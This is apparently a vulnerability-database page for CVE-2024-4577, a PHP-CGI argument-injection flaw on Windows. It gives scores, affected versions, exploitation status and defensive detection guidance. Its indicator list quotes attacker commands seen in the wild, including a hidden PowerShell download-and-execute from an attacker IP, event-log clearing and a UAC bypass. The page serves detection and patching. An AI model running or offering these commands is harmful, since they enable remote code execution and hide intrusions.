cbcvebase.
CVE-2024-4577
published 2024-06-09

CVE-2024-4577: In PHP versions 8.1.* before 8.1.29, 8.2.* before 8.2.20, 8.3.* before 8.3.8, when using Apache and PHP-CGI on Windows, if the system is set up to use certain…

PriorityP1100critical9.8CVSS 3.1
AVNACLPRNUINSUCHIHAH
KEVITWEXPLOITRansomwareInitial access
CISA Known Exploited Vulnerabilitydue 2024-07-03
Exploited in the wild
EPSS
99.99%
100.0th percentile
In PHP versions 8.1.* before 8.1.29, 8.2.* before 8.2.20, 8.3.* before 8.3.8, when using Apache and PHP-CGI on Windows, if the system is set up to use certain code pages, Windows may use "Best-Fit" behavior to replace characters in command line given to Win32 API functions. PHP CGI module may misinterpret those characters as PHP options, which may allow a malicious user to pass options to PHP binary being run, and thus reveal the source code of scripts, run arbitrary PHP code on the server, etc.

Affected

24 ranges
VendorProductVersion rangeFixed in
debianphp7.4< php8.2 8.2.24-1~deb12u1 (bookworm)php8.2 8.2.24-1~deb12u1 (bookworm)
debianphp7.4
debianphp8.2< php8.2 8.2.24-1~deb12u1 (bookworm)php8.2 8.2.24-1~deb12u1 (bookworm)
debianphp8.2
fedoraprojectfedora
fedoraprojectfedora
msrcazl3_php_8.3.6-1_on_azure_linux_3.0
msrcazl3_php_8.3.8-1_on_azure_linux_3.0
msrcazure_linux_3.0_arm
msrcazure_linux_3.0_x64
msrccbl2_php_8.1.28-1_on_cbl_mariner_2.0
msrccbl2_php_8.1.29-1_on_cbl_mariner_2.0
msrccbl_mariner_2.0_arm
msrccbl_mariner_2.0_x64
paloaltopan-os
phpphp>= 8.1.0 < 8.1.308.1.30
phpphp>= 8.1.0 < 8.1.298.1.29
phpphp>= 8.2.0 < 8.2.248.2.24
phpphp>= 8.2.0 < 8.2.208.2.20
phpphp>= 8.3.0 < 8.3.128.3.12
phpphp>= 8.3.0 < 8.3.88.3.8
php_groupphp>= 8.1.* < 8.1.308.1.30
php_groupphp>= 8.2.* < 8.2.248.2.24
php_groupphp>= 8.3.* < 8.3.128.3.12

Detection & IOCsextracted from sources · hover to see the quote

ip38.14.255.23
ip118.31.18.77
urlhttp://38.14.255.23:8000/payload.ps1
filenamefscan.exe
pathC:\Windows\Temp\payload.exe
registryHKLM\Software\Microsoft\Windows\CurrentVersion\Run
filenameREAD_ME10.html
commandwevtutil cl security
commandLadon.exe BypassUac C:\Windows\Temp\123.exe
commandSeatbelt.exe -group=Remote -full
commandSharpGPOAbuse.exe --AddComputerTask --TaskName "update" --Author DOMAINAdmin --Command "cmd.exe" --Arguements "/c powershell.exe -nop -w hidden -c "IEX ((new-object new.webclient).downloadstring('http[://]38[.]14
otherRewriteEngine On RewriteCond %{QUERY_STRING} ^%ad [NC] RewriteRule .? - [F,L]
  • Detect CVE-2024-4577 exploitation attempts by monitoring HTTP POST requests to PHP-CGI endpoints where the query string begins with the soft-hyphen character (%ad), which is the key bypass character used in the Best-Fit encoding attack.
  • Alert on execution of privilege escalation tools JuicyPotato, RottenPotato, and SweetPotato following PHP-CGI process spawning, as these are used post-exploitation to reach SYSTEM-level access.
  • Monitor for sequential wevtutil log-clearing commands (security, system, application, windows powershell) executed from a non-administrative context or following web server process activity, indicating post-exploitation log wiping.
  • Alert on creation of a registry Run key value named 'Svchost' pointing to cmd.exe or payloads in C:\Windows\Temp, a persistence mechanism observed in this campaign.
  • TellYouThePass ransomware attacks via CVE-2024-4577 use mshta.exe to execute a malicious HTA file containing base64-encoded VBScript; monitor for mshta.exe spawned by web server processes (e.g., Apache/PHP-CGI).
  • TellYouThePass C2 beacon traffic is disguised as a CSS resource request over HTTP; look for anomalous HTTP GET requests with CSS-like paths originating from infected Windows servers.
  • Check Point IPS signature 'PHP CGI Argument Injection (CVE-2024-4577)' can be used to detect exploitation attempts at the network level.
  • ·The vulnerability primarily affects Windows-based PHP CGI installations. Systems using Traditional Chinese, Simplified Chinese, and Japanese Windows locales are confirmed exploitable; English and Western European locales have no known exploitation but are not guaranteed safe.
  • ·The Apache mod_rewrite mitigation blocking query strings starting with %ad is only a temporary workaround for Traditional Chinese, Simplified Chinese, and Japanese locales — upgrading PHP is still required.
  • ·PHP 8.0, PHP 7, and PHP 5 are End-of-Life and assumed vulnerable but will not receive official patches; migration to a supported version is required.

CVSS provenance

nvdv3.19.8CRITICALCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
osv9.8CRITICAL
vulncheck10.0CRITICAL
cisa9.8CRITICAL
vendor_debian9.8LOW
vendor_msrc9.8CRITICAL
vendor_oracle9.8CRITICAL
vendor_redhat9.8CRITICAL
CVEs like this are exactly what “Exploited This Week” covers.

Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.